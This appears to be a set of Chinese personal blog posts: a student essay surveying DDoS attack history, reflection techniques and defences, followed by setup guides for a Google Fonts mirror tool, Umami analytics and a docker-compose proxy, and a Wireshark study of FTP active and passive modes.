引言 分布式拒绝服务攻击（Distributed Denial of Service Attack）由于其具有攻击立竿见影、执行简单，隐蔽性强等特点广泛被攻击者使用，其在不断的治理与打击的情况下仍然保持不断增长的态势，且TB级别的DDoS攻击呈现出常态化的特点。腾讯安全发布的《2021年上半年全球DDoS威胁报告》中指出，DDoS攻击连续4年任然高速增长，100G以上的大流量攻击次数大幅增长，新型UDP反射方法不断被发现与利用。[2]根据最新消息，Microsoft在2021年8月成功抵挡了一次流量峰值高达2.4Tbps的DDoS攻击，此次攻击被认为是目前最大规模的DDoS攻击。在本文将从DDoS的历史与发展、攻击来源分析、常用的攻击技术、治理与防御和对未来的展望等方面对DDoS进行全面剖析。 DDoS的起源与历史 分布式拒绝服务攻击作为长期存在于互联网中的威胁已经拥有25年的历史，其破坏直接有效、防御成本高昂的特点使其不断给世界互联网造成一次又一次巨大的灾难。分布式拒绝服务攻击形成今日这般规模并不是一蹴而就，其发展可以总结为四个阶段：探索期、工具化、武器化、普及化。 在拒绝服务攻击初期发展时称为探索期，在这一阶段发起攻击的多是一些拥有高超计算机技能的“黑客”，目的也仅仅停留在炫技与个人兴趣上。最早的拒绝服务攻击发生在1996年，受害者是当时纽约最大的互联网服务提供商Panix，攻击者使用SYN Flood攻击Panix公司的业务服务器，导致约6000名用户无法收取邮件。这次事件仅仅使用极少的攻击源发起攻击，还不具有分布式的特点，其造成的影响也非常有限。而第一次由僵尸网络发起的分布式拒绝服务攻击则是Trinoo僵尸网络，在这次攻击事件中黑客控制了超过227台僵尸主机对美国明尼苏达大学的服务器进行攻击，且潜在的僵尸主机超过上万台。同时在这一阶段最具有轰动性的一次事件则是“黑手党男孩”，其对雅虎、亚马逊、eBay等公司进行攻击，造成超过约12亿美元的损失，攻击发起者卡尔斯的故事也被编纂成书《黑手党男孩：一个年轻人的黑客肖像》。在这一阶段中，攻击行为基本不会为黑客带来经济上的收益；从受害者的角度来看，往往波及范围巨大且效果轰动，但对于个人和组织来说，攻击造成的影响也仍在可以承受的范围之内。 经过探索期的发展，DDoS攻击逐渐工具化，呈现出有组织攻击的特点。在这一阶段DDoS经常被用于勒索、打击竞争对手和报复。勒索组织对互联网上的盈利企业进行攻击与勒索，要求支付大量赎金；商业公司雇佣黑客对其竞争对手进行长期的DDoS攻击来干扰竞争对手公司的正常运营；不法分子对精确的目标进行打击报复，如2012年持续时间长达一年的“燕子行动”就是伊斯兰极端分子针对美国发起的报复攻击；2013年的Spamhaus事件中黑客使用DNS反射放大技术发起了当时规模最大的DDoS攻击，其峰值攻击流量超过300Gbps。在此阶段黑客成为隐藏在背后金主的武器，遵循利益最大化原则行动。 工具化的进一步演化则形成武器化，在这一阶段DDoS成为政治工具，在网络这一战场上成为一把大杀器。在2007年爱沙尼亚战争与2008年的古鲁吉亚战争中就有着DDoS攻击的身影。2009年美韩政府超过26个网站遭受持续的DDoS攻击。DDoS武器化后就带有了政治意图，成为国际政治竞争中不可忽视的力量。 根据以上规律不难看出DDoS呈现出普及化的必然趋势：多年的发展中DDoS工具越来越高效与易得；摩尔定律揭示计算机性能提示规律的同时也暗含了网络攻击力度的增强；更多暴露在互联网中的节点也成为被黑客利用的对象，在未察觉中参与到一场又一场的攻击活动中。同时黑客行动主义充斥在这一阶段中。2008年的匿名者（Anonymous）对达山基金会的宣战、“阿桑奇复仇行动”（Operation Avenge Assange）、“索尼行动”（OpSony）就是黑客们表达自身立场的事件。 DDoS的起源与互联网的发展有着密不可分的关系，当互联网扩张的速度飞驰时，DDoS的规模也同时在与日俱增。随着技术的发展，DDoS的攻击方式将会不断涌现，且已有的攻击方式也并不会尽数失效。DDoS已经网络世界造成巨大的威胁与损失。 DDoS的攻击来源 DDoS并不是无源的、凭空产生的，一次大型的DDoS攻击往往具有超大规模的攻击源和复杂的控制机制。在DDoS攻击来源中最主要的是僵尸网络与发包机。 僵尸网络 僵尸网络（Botnet）是指一群由被恶意入侵后感染僵尸程序后的僵尸主机组成的庞大结构，一个大型的僵尸网络往往能由超过百万台僵尸主机组成。僵尸网络中的僵尸主机往往由互联网中的各类设备组成，包括但不限于个人电脑、数据中心的服务器、网络骨干中的路由器设备、物联网终端、移动设备等。巨量的僵尸主机接收Botmaster的命令对受害者进行攻击并感染其他设备。 僵尸网络通常会利用网络设施中的漏洞进行传播，具有极强的传染性与隐蔽性。僵尸网络还具有极强的变异性，某一僵尸网络可能经由黑客的改造形成各种变种，此类变种往往比原僵尸网络具有更强的隐蔽性与传染性。根据启明星辰发布的《网络安全态势报告（2019-2020）》，2019年全球所有被观测到的僵尸网络中，中国占比达到了15.01%，成为受害最严重的地区，并且数量有明显的上升趋势。[3]而通过僵尸网络发起的DDoS往往规模巨大，2016年美国域名解析服务提供商Dyn公司遭到了峰值达到1.1Tbps的DDoS攻击，造成半个美国互联网瘫痪。其流量来源就是由Mirai僵尸网络控制的数以十万计的物联网设备，尤其是暴露在公共网络下的摄像头设备。 僵尸网络离普通用户并不遥远，可能就藏在我们的身边。根据360 Netlab实验室发布的文章，2020年一个超过160万感染设备的僵尸网络Pinkbot就藏在光猫设备中，其超96%的感染设备位于中国并且感染规模还在不断扩张。Cloudflare发布的2021 Q2 DDoS攻击报告中提到其成功阻止了一次17.2 RPS的HTTP洪水，其背后的攻击源则指向Mirai Botnet；并且在2021年六月由Mirai Botnet发起的三层/四层攻击增长了88%，七层攻击增长了9%。[5]可以设想一个巨大的僵尸网络被用于DDoS攻击时将会造成多大的灾难。 发包服务器 发包服务器是指一类被不法商贩出售的用于IP欺骗(IP Address Spoofing)与对外发包的服务器，其通常具有10Gbps以上的互联网带宽接入、高配置与性能、不受投诉影响、允许用于对外攻击等特点。单台发包服务器就已具有极强的破坏力，当其组成一定规模的集群之后威力不亚于僵尸网络。相比于僵尸网络，发包服务器具有极高的性能和带宽接入，其输出的攻击流量更加稳定且可控性也更强，不易受僵尸程序本身会被清除这一特点影响。配合一些反射放大的手段往往能够实现几台或十几台服务器造成0.5Tbps以上的攻击流量。 通常，发包服务器多存在于一些政策较为宽松的地区，如罗马尼亚、荷兰等。不法商贩在整个链条中不是直接的攻击发起者，他们将机房中的机器以出租的形式通过黑市与黑客交易，赚取其中丰厚的利润。还有些商家会在售卖机器的同时配套出售DDoS攻击相关的技术软件，如配套的发包脚本、反射列表、控制平台等。 从目前来看，常见的商业化的DDoS攻击服务往往使用效果更加稳定且流量可控的发包机集群来对目标进行打击。想要解决发包服务器滥用的问题，各国间应当加强沟通与管理，加强对此类不法商贩的监管。 常用的攻击技术 在了解DDoS的常用攻击技术之前首先需要明白拒绝服务攻击(Denial of Service Attack)与分布式拒绝服务攻击（Distributed Denial of Service Attack）的区别于关联。从定义上来说，拒绝服务攻击是一种网络攻击手法，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。[4]而分布式拒绝服务攻击（Distributed Denial of Service Attack）则是拒绝服务攻击的一种分布化的形式，其核心在于利用分布式的客户端，向攻击目标发起大量的看似合理的请求来消耗和占用大量资源，达到拒绝服务的目的。分布式拒绝服务攻击的类型主要可以分为三种：占用网络带宽资源、占用系统资源、占用应用资源。 占用带宽资源 此类攻击方式通常发生在网络层(Network-layer)通过发送大量无效数据包来占用攻击目标的网络带宽资源来达到拒绝服务的目的。同时在这类攻击中，分布式反射拒绝服务攻击（Distributed Reflection Denial of Service Attack，下简称反射攻击）更为常见。反射攻击是利用互联网中存在的某种协议设计缺陷或服务漏洞并配合IP欺骗来实现放大攻击流量并隐藏攻击来源的一种分布式拒绝服务攻击方式。其简单原理图如下： 通常攻击源不直接向目标发送数据包，而是利用反射器作为放大跳板来向目标进行攻击。而一种有效的放大攻击方式与以下几个因素有直接关系： 请求报文与回复报文的高不对等性[7] 其利用的协议漏洞在互联网中存在的广泛程度 进行IP欺骗的难易程度 其中，不对等性越强、存在越广泛、越容易进行IP欺骗的攻击方式往往具有更强的破坏力。 以下将简述几种常见且有效的反射放大攻击方式及其原理。 NTP反射放大攻击 NTP反射放大攻击（NTP Amplification Attack, CVE-2013-5211）利用NTP协议中monlist指令请求与回复报文的不对称性进行反射放大攻击。在NTP协议的服务器实现上存在一个monlist接口，允许用户请求与NTP服务器进行同步的最后600个客户端的IP地址。而攻击者发送的monlist指令中的返回IP能够被伪造，造成请求源与回复源不一致导致反射攻击，通常一个monlist请求数据包大小不超过64字节，而回复数据包却能够返回100个482字节的UDP响应数据，在真实环境下其反射放大倍数能够达到556.9倍[4]。 DNS反射放大攻击[9] DNS反射放大攻击（DNS Amplification Attack）主要是利用 DNS 回复包比请求包大的特点，放大流量，伪造请求包的源 IP 地址为受害者 IP，将应答包的流量引入受害的服务器。攻击者利用在EDNS0中提供的OPT RR字段来生成巨大的DNS响应报文并对来源IP进行伪造实现反射放大的效果，通常一个DNS请求包的大小为60字节左右而经过精心构造的回复数据包的大小能够达到3000字节以上，在真实环境中甚至能够达到179倍的放大效果[4]。以下展示的则是DNS反射放大攻击的原理图。 Memcached反射放大攻击 Memcached反射放大攻击（Memcached DDoS Attack）利用部署在公共网络上并且存在Authentication Disable缺陷的Memcached服务器进行反射放大攻击。Memcached服务器在启动时会监听TCP与UDP的11211端口并响应外部请求，若服务器没有配置好授权措施则会造成任何请求都会被响应，又因为监听UDP端口，造成请求来源会被伪造。根据研究，Memecached可以将攻击流量放大50000倍。2018年2月28日代码托管网站GitHub受到有史以来规模最大的DDoS攻击，达到了1.3Tbps的峰值，被利用的攻击方式就是Memcached反射放大。 占用系统资源 首先需要明确的一点是DDoS攻击并不简单的以攻击流量大小来评判其威力，相反某些DDoS攻击方式会通过消耗系统资源的方式来占用系统资源，通常这样的方式并不像反射攻击一样需要非常巨大攻击流量来阻塞目标的带宽，而是使攻击目标的计算资源耗尽来使其无法正常服务。 SYN洪水 SYN洪水（SYN Flood）是一种针对TCP协议的攻击方式，其在TCP连接创建阶段对TCP阶段进行攻击。TCP为保证连接的可靠，会在连接建立时先进行三次握手，而在第一次握手时会由客户端发出SYN指令，SYN洪水则发生在此阶段，也因此得名。在三次握手过程中，服务器会创建并保存TCP连接的信息到一个连接表中，当大量客户端对服务器发起SYN指令但并未及时回复时，服务器的连接表会被快速填满并造成无法响应新的TCP连接。此时攻击者只需要建立大量的TCP连接就可以造成拒绝服务。 SSL洪水 在SSL握手时服务器需要消耗大量的CPU资源进行加解密，并对数据的有效性进行检验。而不论客户端发送的数据是否有效，都需要经过解密后才能够对请求的合法性进行检验，这就造成了发送方与接收方代价不对等。当攻击者在SSL握手与密钥交换时构造大量的请求数据，就可以极大地消耗服务器的CPU资源造成拒绝服务攻击。 占用应用资源 攻击者也可以针对某一应用服务进行攻击，尤其是近些年高速发展的Web服务。应用程序和服务在响应各类请求时会需要消耗网络、计算和存储资源，这就造成了一个应用想要正常服务，就需要各个基础服务均正常，任何一个基础服务的异常都可能会导致应用程序拒绝服务。以下将针对Web服务介绍几种常见的DDoS攻击方式： HTTP洪水 HTTP洪水（HTTP Flood）是指在某一时间点对某一Web站点发起大量的请求造成网站服务器因为不能承受如此大量的请求造成运行阻塞与宕机。通常HTTP洪水会同时发起大量的请求，目前最大的HTTP洪水就达到了每秒17.2M请求数[5]，很显然对于任何现有的单台服务器都无法承受如此大量的请求。同时，攻击者也会针对某些需要大量计算的动态资源发起洪水，以更剧烈地消耗服务器资源。 慢速POST攻击 慢速POST攻击（Slow HTTP POST）攻击利用POST请求中设置巨大的Content-Length头部，使得Web服务器客户端要发送很大的数据，导致服务器持续保持连接准备接收数据，但攻击客户端每次只发送很少量的数据，使该连接一直保持存活，消耗服务器的连接和内存资源。 在以上介绍的攻击类型中，分别有针对网络层与应用层的各种攻击方式，但是在实际的攻击中往往是各种攻击混合来实现1+1＞2的效果，这种混合型的攻击方式在真实的攻击事件中更为常见。 DDoS的治理与防御 DDoS治理的三个关键点 通过对常见DDoS攻击方式进行分析，我们可以得到如下几个关键的：僵尸网络、IP地址伪造、反射攻击。 对僵尸网络的治理 僵尸网络是DDoS攻击源的主要组成，其在未爆发之前往往隐藏在互联网的各个角落，在爆发时又抱团而动，发起巨大的攻势。对僵尸网络的治理首先需要发力僵尸网络的检测上，对互联网中的异常流量的监控与分析可以帮助提早发现僵尸网络，而对僵尸程序样本提取后可以通过逆向分析来对僵尸网络进行打击与接管。同时，对于已知的僵尸网络则要针对性发布漏洞补丁，抑制僵尸网络进一步扩大，并对C2主机进行打击与屏蔽。 对IP地址伪造的治理 IP地址伪造是DDoS攻击的又一大特征，通过地址伪造的攻击更难被溯源且会被用于反射放大造成更大的攻击流量。但是对IP地址伪造本身从技术角度上并不难以实现，如CERT Advisory CA-1996-21、RFC 2827、Unicast Reverse Path Forwarding等都对IP伪造提供了检测方案。 对反射攻击的治理 对反射攻击的治理可以从两方面入手：修复已知的反射源与发掘潜在的反射源。对于现有的常见反射源因及时对反射方法进行修复，减少互联网中可被利用的反射源数量。同时建立蜜罐，对互联网上存在利用反射源行为的IP地址进行追踪与溯源并积极打击。对于潜在的未发掘的反射方式，因加强流量检测审计与态势感知，防范于未然。 DDoS攻击的防御手段 目前来说暂时不存在一个针对DDoS攻击完全行之有效的防御方法，但是在DDoS攻击已经发送的情况下可以通过一些技术来缓解DDoS攻击的压力，减少攻击对业务正常运行的影响。以下将介绍部分常用的DDoS缓解方法。 使用CDN与Anycast来稀释DDoS攻击流量 DDoS攻击一大特点就是分布式，一次DDoS攻击的攻击来源非常广泛，当来自各个地区的流量都汇聚到单个节点时往往很快将会被击溃。但是如果能够通过技术手段将来自不同地域的攻击流量进行分散与稀释时，原本以多打少的局面将会变成以多打多，单个节点承担的网络压力将会大大减轻，对于整体来说尽管部分节点异常时也不会影响全局业务的正常运行。而构建这样的集群则可以使用内容分发网络（CDN）与任播（Anycast）技术来分散收到攻击时的流量，达到缓解攻击的目的。 使用流量清洗设备来过滤DDoS攻击流量 流量清洗是指在全部的网络流量中区分出正常流量和恶意流量，并将恶意流量丢弃或阻断，只保证正常流量的通行。通常流量清洗设备会使用IP信誉检查、攻击特征匹配、速度检查与限制、TCP代理和验证、协议完整性验证和客户端真实性验证等技术来鉴别网络流量。同时，可以在网络出入口处部署流量清洗集群来实现更为强大的流量清洗效果。 未来的DDoS攻击 DDoS的APT化与战争化 DDoS作为极其强大攻击武器，其在网络战争中有着举足轻重的地位。在对目标进行广泛打击时，可以造成全局的混乱与瘫痪。在2008年俄罗斯和格鲁吉亚的战争中，格鲁吉亚的媒体网络就遭受DDoS攻击的重创而不得不关闭。而对于更加精确的打击则体现在DDoS攻击的APT(Advanced Persistent Threat，高级持续威胁）化中。首先，DDoS攻击的技术在不断迭代升级，从过去简单的直接攻击到未来越来越复杂庞大的僵尸网络、更加高效的攻击方法和更加智能的攻击工具，DDoS攻击的技术在不断演化与发展。同时，DDoS攻击的时间跨度将会越来越持久，Tb级流量的DDoS攻击将成为常态。今年10月，微软曾宣布其Azure云服务成功拦截一次每秒2.4 Tbps的DDoS攻击，这是有记录以来最大的DDoS攻击。同时Cloudflare第三季度DDoS趋势报告显示，在可侦测的环境下，DDoS攻击比上一季度增长44%。今年8月，Cloudflare刚拦截了一次大体量的DDoS攻击，恶意流量达到创纪录的每秒1720万次（rps），比以前报告的HTTP DDoS攻击量大了三倍。考虑到趋势已然形成，2.5Tbps绝不会是DDoS攻击的巅峰，下一次大流量攻击可能正在路上。最后，DDoS攻击的危害将会更加严重。 从移动互联网的爆发式增长到企业上云、万物互联，现代人们的生活已经与互联网深度绑定，现代社会的平稳运行也逐渐无法离开互联网。但并不是所有服务商都能轻易承担应对DDoS攻击的巨大成本，DDoS攻击成为这些暴露在互联网上的服务的巨大安全隐患。 DDoS与大数据、人工智能 尽管DDoS攻击在不断的变异与进化，变得越来越难以区分、越来越难以提前监测，但大数据与人工智能依然为DDoS的检测与防御提供了可行的方法。使用大数据可以将正常的请求进行建模与分析，当在遭受攻击但还未形成规模时就可以观测到模型特征出现异常，继而快速启动应急程序来迎接即将到来的DDoS攻击；同时可以建立IP信誉系统，对潜在的攻击IP在上层网络中就进行干预拦截，减少其对核心业务的影响。而人工智能技术则可以帮助安全人员在DDoS攻击发起之前就进行干预与阻断。网络服务提供商（ISP）可以在网络入口处来部署人工智能对潜在的僵尸网络主机进行提前干预、云服务商可以建立基于人工智能的态势感知系统，对可能存在攻击可能的来源进行阻断等。 引用与参考 [1] 鲍旭华;洪海;曹志华.破坏之王：DDoS攻击与防范深度剖析 [M].机械工业出版社.2014. [2] 腾讯安全, 2021年上半年全球DDoS威胁报告 [R/OL], 2021. [3] 启明星辰, 网络安全态势观察报告（2019-2020）[R/OL]，2020. [4] Wikipedia, Denial-of-service attack, https://en.wikipedia.org/wiki/Denial-of-service_attack. [5] Cloudflare, Cloudflare thwarts 17.2M rps DDoS attack — the largest ever reported ,https://blog.cloudflare.com/cloudflare-thwarts-17-2m-rps-ddos-attack-the-largest-ever-reported/ . [6] Arukonda S, Sinha S. The innocent perpetrators: reflectors and reflection attacks[J]. Advanced Computer Science, 2015, 4: 94-98. [7] Jakub Czyz, Michael Kallitsis, Manaf Gharaibeh, Christos Papadopoulos, Michael Bailey, and Manish Karir. 2014. Taming the 800 Pound Gorilla: The Rise and Decline of NTP DDoS Attacks. In Proceedings of the 2014 Conference on Internet Measurement Conference IMC '14. Association for Computing Machinery, New York, NY, USA, 435–448. DOI:https://doi.org/10.1145/2663716.2663717 [8] support.ntp.org, DRDoS / Amplification Attack using ntpdc monlist command,. 2010-04-24. Retrieved 2014-04-13. [9] van Rijswijk-Deij, Roland (2014). "DNSSEC and its potential for DDoS attacks". DNSSEC and its potential for DDoS attacks - a comprehensive measurement study. ACM Press. pp. 449–460.doi:10.1145/2663716.2663731. ISBN 9781450332132. S2CID 2094604. 注 本文为某门课程的结课作业，部分内容已经过时且存在大量错误，内容仅供参考，欢迎友好讨论！
前言 很多前端框架都会加载 Google Fonts 字体导致在国内打开页面速度缓慢。而 Google Fonts 中文版使用的镜像 fonts.font.im主机也并不在国内，速度也十分不理想。同时，这段时间在学习 GO 并准备做些啥练练手，于是便有了 GoMyFonts 这个简单的小工具。 项目介绍 GoMyFonts 是一个用于搭建 Google Fonts 镜像的小工具，项目可一键部署并支持自定义与本地缓存功能。 GitHub 仓库：https://github.com/MoeMion/GoMyFonts 环境需求 一台能快速访问到 Google Fonts 的主机 Golang 1.15+ 可选配置 Nginx、Caddy 等前置代理 下载与编译 Release 中已经包含有预编译的可执行文件。当以上文件不可运行时，您可以选择按照以下方法自行编译，相关的依赖会自动解决。 # 将项目克隆至本地 git clone https://github.com/MoeMion/GoMyFonts.git cd ./GoMyFonts/ # 使用 Go 编译为可执行文件并运行 go build chmod +x ./GoMyFonts ./Go MyFonts # 或者使用 Go Run 直接运行（不推荐） go run 使用举例 使用./GoMyFonts -help指令可以查看 GoMyFonts 所有支持的参数： ./gomyfonts -help Usage: gomyfonts [-h] [-p :port] [-l link] [-t title] [-c timeout of cache] Github: https://github.com/MoeMion/GoMyFonts Author: Mion Options: -c int Expiration of cache,Unit:Minute. (default 10) -l string The url of your mirror site. (default "http://127.0.0.1/") -p string Bind TCP Port. (default ":2333") -t string The title of your mirror site. (default "GoMyFonts") -p：用于指定 GoMyFonts 监听的 TCP 端口，默认为 2333。 -l：用于指定站点的链接，GoMyFonts 会替换模板中的链接为指定的参数，如您的镜像站点为fonts.qwq.cc并使用 https 进行访问，则该参数应当填入https://fonts.qwq.cc/，注意最后的/不可省略。默认值为http://127.0.0.1/ -c：指定缓存的到期时间，单位为分钟。GoMyFonts 会将结果缓存至内存来减少回源并加速响应。默认为 10 分钟。 -t：用于指定站定标题。默认为GoMyFont(在写的时候手滑，后来也懒得改了)。 GoMyFonts 配置完成后只需要将前端项目中的https://fonts.googleapis.com/css?family=xxx替换为https://gomyfontsmirror/css?family=即可实现加速效果。 持久化运行 GoMyFonts 暂不直接提供后台持久化运行支持，但可以使用Systemd与Supervisor等方式持久化运行 GoMyFonts，以下提供两种参考配置。 Syetemd 将 GoMyFonts 的可执行文件复制到/usr/local/bin目录： cp GoMyfonts /usr/local/bin 创建配置文件/etc/systemd/system/gomyfonts.service如下： [Unit] Description=System service for GoMyFonts. After=network.target [Service] Type=simple Restart=always ExecStart=/usr/local/bin/GoMyFonts #you can specify parameters here. [Install] WantedBy=multi-user.target 以下为相关的管理命令： # 将 GoMyFonts 设置为开机自启 systemctl enable gomyfonts # 启动/重启/停止 GoMyFonts systemctl start/restart/stop gomyfonts # 查看 GoMyfonts 运行日志 systemctl status gomyfonts journalctl -xe Supervisor 可以参考的 Supervisor 配置文件： [program:gomyfonts] command=/path/to/gomyfonts #you can specify parameters here. directory=/path/to/ autorestart=true startsecs=3 startretries=3 user=root priority=999 numprocs=1 使用 HTTPS 或 TLS GoMyFonts 暂不提供 HTTPS/TLS 支持，但是可以配置 Nginx/Caddy 等前置代理来实现相关功能。 性能测试 待更新，目前来看很好用。 总结 如果只从实现 Google Fonts 镜像单一需求来说，使用 Nginx /Caddy 等工具配置反向代理会是更好的解决方案，创建这个项目的初衷其实是为了巩固一下所学的 Go 语言知识，软件的功能暂时没有经过严格的测试，若您发现了 Bug 可以在 Issue 中提出，当然，也可以提出批评。 补充 GoMyFonts 搭配 CDN 服务可以实现更好的加速效果。
在宝塔下使用Umami自建站点访问统计系统
序 一直以来就有想要给无人问津的博客添加一个访问统计。在尝试过百度统计、Google Analytics后发现总是会被Adblock Plus拦截，且本身的需要仅仅是需要一个简单的访问统计和来源分析，用不着太复杂的功能，于是准备自建站点访问统计。 Umami Umami是一个简介且易于使用的自建网站访问分析系统，基于Node.js构建且支持PostgreSQL与MySQL数据库。实测能够很好的解决被Adblock插件屏蔽的问题。 官网：https://umami.is/ 文档：https://umami.is/docs/ GitHub：https://github.com/mikecao/umami 安装与配置 安装环境 宝塔 7 Nginx 1.21 MySQL 5.6 Docker-compose 数据库配置 首先从https://github.com/mikecao/umami/blob/master/sql/schema.mysql.sql获取SQL文件，在宝塔中新建数据库，在这里选择utf8mb4字符集。 然后通过宝塔导入SQL文件。 Docker与docker-compose安装 在宝塔【软件管理】 - 【运行环境】中安装 Docker管理器自动配置好Docker环境，之后在终端中执行以下指令获取最新版docker-compose: # curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose # chmod +x /usr/local/bin/docker-compose # ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose # docker-compose --version 如果最后成功输出版本信息则代表成功安装。与此同时如果正确配置了pip，也可以执行以下指令进行安装： # pip install docker-compose docker-compose.yml 由于宝塔环境已经带有MySQL环境，在这里我们仅需要使用Umami的Docker镜像即可，在这里提供一份我魔改后的docker-compose.yml文件，将以下的数据库信息修改后保存至本地即可，我选择保存至/home/umami目录中。 version: '3' services: umami: image: ghcr.io/mikecao/umami:mysql-latest network_mode: "host" environment: DATABASE_URL: mysql://[用户名]:[密码]@localhost:3306/[数据库名] DATABASE_TYPE: mysql HASH_SALT: [随便编写一段字符串] restart: always 接下来使用docker-compose构建容器，若下载速度较慢，请参考本文章：使用代理为docker-compose加速 # cd /home/umami # docker-compose up -d 至此容器构建完成，Umiami运行在http://127.0.0.1:3000下。 使用Nginx进行反向代理与跨域配置 在宝塔中新建网站，配置SSL后选择反向代理，配置如下： 之后在【配置文件】第7行后添加以下内容来配置跨域： ... root /www/wwwroot/xxx; add_header Access-Control-Allow-Origin * always; add_header Access-Control-Allow-Methods GET,POST,DELETE; add_header Access-Control-Allow-Header Content-Type,*; #SSL-START SSL相关配置，请勿删除或修改下一行带注释的404规则 ... 若使用CDN服务，也需要在CDN处配置跨域。 添加站点与使用 访问刚才配置好的站点，使用默认账户名admin与密码umami进行登录。（题外话：写到这里被老师点起来回答CRC的过程了，记录一下，吓死去...） 选择【Settings】-【Websites】-【Add website】，填写网站名称与域名后，将获得的代码添加至网站 标签之前。如果以上步骤未出现差错的话，刷新Umami即可获得访问记录。（右上角球形图标可以切换语言） 结 类似于Umami这类网站访问统计系统还有很多，但它简单与轻量的特性非常符合我的需求。本博客已经使用Umami一段时间，整体非常稳定，合理的配置后并不会拖慢网站整体访问速度。在高并发下如果配置多容器做负载均衡也是不错的解决方案。
序 在生产环境中经常会使用docker-compose来部署项目，由于众所周知的原因，在国内网络环境中下载部分托管在第三方平台的docker镜像会有下载缓慢的问题。下面将介绍快速使用代理为docker-compose加速。 .env 文件 在Docker文档中提到Docker-compose支持加载当前工作目录下的.env文件，原文如下： Compose supports declaring default environment variables in an environment file named .env placed in the project directory. Docker Compose versions earlier than 1.28, load the .env file from the current working directory, where the command is executed, or from the project directory if this is explicitly set with the --project-directory option. This inconsistency has been addressed starting with +v1.28 by limiting the default .env file path to the project directory. You can use the --env-file commandline option to override the default .env and specify the path to a custom environment file. 综上，我们在与docker-compose.yml同目录下创建.env文件： HTTP_PROXY=proxy_url:port //例 HTTP_PROXY=127.0.0.1:1080 HTTPS_PROXY=proxy_url:port FTP_PROXY=proxy_url:port NO_PROXY=no_proxy_url 然后再运行docker-compose up即可。
序 这里是计算机网络课程的第一个作业，仅此记录一下并提出一些自己的思考。 FTP协议初步分析 测试环境 FTP Server 10.60.8.254 : 21/20 vsFTPD 3.0.3 username : mion password : password FTP Client 10.27.157.176 FTP 0.17-34.1.1 分析工具 Wireshark 3.4.4 Fillter : ip.addr == 10.60.8.254 and ftp and ftp-data 注：由于仅探究FTP的行为，在此忽略TCP相关报文。 在FTP主动模式下传输文件 用户行为 FTP客户端使用账户并在主动模式下连接FTP服务器 FTP客户端上传文件"file" FTP客户端断开连接 数据包分析 以下数据包为从Wireshark导出后经过整理产生的表格。 源 目标 报文 说明 10.60.8.254:21 10.27.157.176:59220 Response: 220 (vsFTPd 3.0.3) 经过TCP三次握手后，FTP服务器响应220代表准备连接 10.27.157.176:59220 10.60.8.254:21 Request: USER mion 发起 USER 指令 10.60.8.254:21 10.27.157.176:59220 Response: 331 Please specify the password. 响应331 准备校验密码 10.27.157.176:59220 10.60.8.254:21 Request: PASS password 发起PASS指令 10.60.8.254:21 10.27.157.176:59220 Response: 230 Login successful. 响应230 登录成功 10.27.157.176:59220 10.60.8.254:21 Request: SYST 发起 SYST 指令，获取FTP服务器系统类型 10.60.8.254:21 10.27.157.176:59220 Response: 215 UNIX Type: L8 响应 系统类型为UNIX 10.27.157.176:59220 10.60.8.254:21 Request: TYPE I 切换传输模式为 Binary模式 10.60.8.254:21 10.27.157.176:59220 Response: 200 Switching to Binary mode. 响应 200 成功 10.27.157.176:59220 10.60.8.254:21 Request: PORT 10,27,157,176,151,199 发起PORT指令，建立主动模式文件传输连接，客户端监听38855端口 10.60.8.254:21 10.27.157.176:59220 Response: 200 PORT command successful. Consider using PASV. 响应 200 并推荐采用被动模式 10.27.157.176:59220 10.60.8.254:21 Request: STOR file 发起 STOR 命令 要求存储文件为 file 10.60.8.254:21 10.27.157.176:59220 Response: 150 Ok to send data. 响应150 准备接收文件 10.27.157.176:38855 10.60.8.254:20 FTP Data: 5 bytes (PORT) (STOR file) 文件传输包，通过主动模式传输 10.60.8.254:21 10.27.157.176:59220 Response: 226 Transfer complete. 响应226 文件传输完成 10.27.157.176:59220 10.60.8.254:21 Request: QUIT 发起 QUIT 指令 10.60.8.254:21 10.27.157.176:59220 Response: 221 Goodbye. 响应 221 结束连接 总结分析 从以上信息我们可以得出FTP 主动模式工作方式如下： FTP Client 发起 PORT 命令，携带参数为监听端口。其中参数前四位为IP地址，后两位为端口号，计算方法： $$ 端口号=(第一位\times256)+第二位 $$ 其中，开启的端口号为某一随机端口，而非网络上流传的N+1端口。根据RFC 959，此观点也得到了证实: 3.2. ESTABLISHING DATA CONNECTIONS The mechanics of transferring data consists of setting up the data connection to the appropriate ports and choosing the parameters for transfer. Both the user and the server-DTPs have a default data port. The user-process default data port is the same as the control connection port (i.e., U). The server-process default data port is the port adjacent to the control connection port (i.e., L-1). ... Every FTP implementation must support the use of the default data ports, and only the USER-PI can initiate a change to non-default ports. It is possible for the user to specify an alternate data port by use of the PORT command. FTP Server 20端口建立与 FTP Client监听端口的连接，此过程在TCP握手报文中有体现，以上并未给出。 通过新建立的连接进行文件传输，且文件为明文，通过Wireshark分析如下： 主动模式与被动模式差异 用户行为 FTP客户端使用账户并在被动模式下连接FTP服务器 FTP客户端上传文件"file" FTP客户端断开连接 数据包分析 此部分仅对比主动模式与被动模式差异，数据包为从Wireshark导出后经过整理产生的表格。 源 目标 报文 说明 10.27.157.176:60976 10.60.8.254:21 Request: PASV 发起 PASV 命令，要求建立被动模式连接 10.60.8.254:21 10.27.157.176:60976 Response: 227 Entering Passive Mode (10,60,8,254,76,13). 响应227 成功进入被动模式，并且返回监听的非特权端口 10.27.157.176:60976 10.60.8.254:21 Request: STOR file 发起 STOR 命令 要求存储文件为 file 10.60.8.254:21 10.27.157.176:60976 Response: 150 Ok to send data. 响应150 准备接收文件 10.27.157.176:35758 10.60.8.254:19469 FTP Data: 5 bytes (PASV) (STOR file) 文件传输包，通过被动模式传输 10.60.8.254:21 10.27.157.176:60976 Response: 226 Transfer complete. 响应226 文件传输完成 总结分析 FTP Client 发起 PASV 命令。 FTP Server 开始监听某一非特权端口，返回监听地址与端口。 开始明文传输文件。 EPRT与EPSV模式 根据RFC 2428,FTP对IPv6进行支持并提出EPRT与EPSV模式，这里仅做部分引用介绍。 The EPRT Command The EPRT command allows for the specification of an extended address for the data connection. The extended address MUST consist of the network protocol as well as the network and transport addresses. The format of EPRT is: EPRT The EPSV Command The EPSV command requests that a server listen on a data port and wait for a connection. The EPSV command takes an optional argument. The response to this command includes only the TCP port number of the listening connection. The format of the response, however, is similar to the argument of the EPRT command. This allows the same parsing routines to be used for both commands. In addition, the format leaves a place holder for the network protocol and/or network address, which may be needed in 